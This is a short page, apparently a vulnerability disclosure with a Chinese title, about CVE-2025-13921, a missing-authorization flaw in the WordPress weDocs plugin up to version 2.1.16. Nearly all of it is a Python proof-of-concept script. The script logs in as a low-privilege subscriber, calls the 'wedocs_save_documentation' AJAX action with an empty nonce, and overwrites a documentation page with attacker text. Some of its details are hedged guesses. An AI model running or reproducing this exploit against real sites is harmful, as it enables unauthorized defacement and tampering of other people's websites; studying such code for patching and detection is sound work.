CVE-2025-13921 WordPress weDocs插件权限绕过漏洞

import requests import sys # CVE-2025-13921 PoC - weDocs Plugin Unauthorized Documentation Edit # Target: WordPress site with weDocs plugin <= 2.1.16 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" TARGET_DOC_ID = 123 # ID of the documentation to edit def exploit(): # Step 1: Login to WordPress session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Exploit the missing authorization check # The wedocs_user_documentation_handling_capabilities function # does not verify if user has permission to edit the target doc exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'wedocs_save_documentation', 'doc_id': TARGET_DOC_ID, 'doc_title': 'Hacked by Attacker', 'doc_content': 'Malicious content injected', 'nonce': '' # May be missing or bypassable } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Successfully modified documentation ID: {TARGET_DOC_ID}") print("[+] Vulnerability confirmed - Missing authorization check exploited") return True else: print(f"[-] Exploitation failed: {resp.status_code}") return False if __name__ == "__main__": exploit()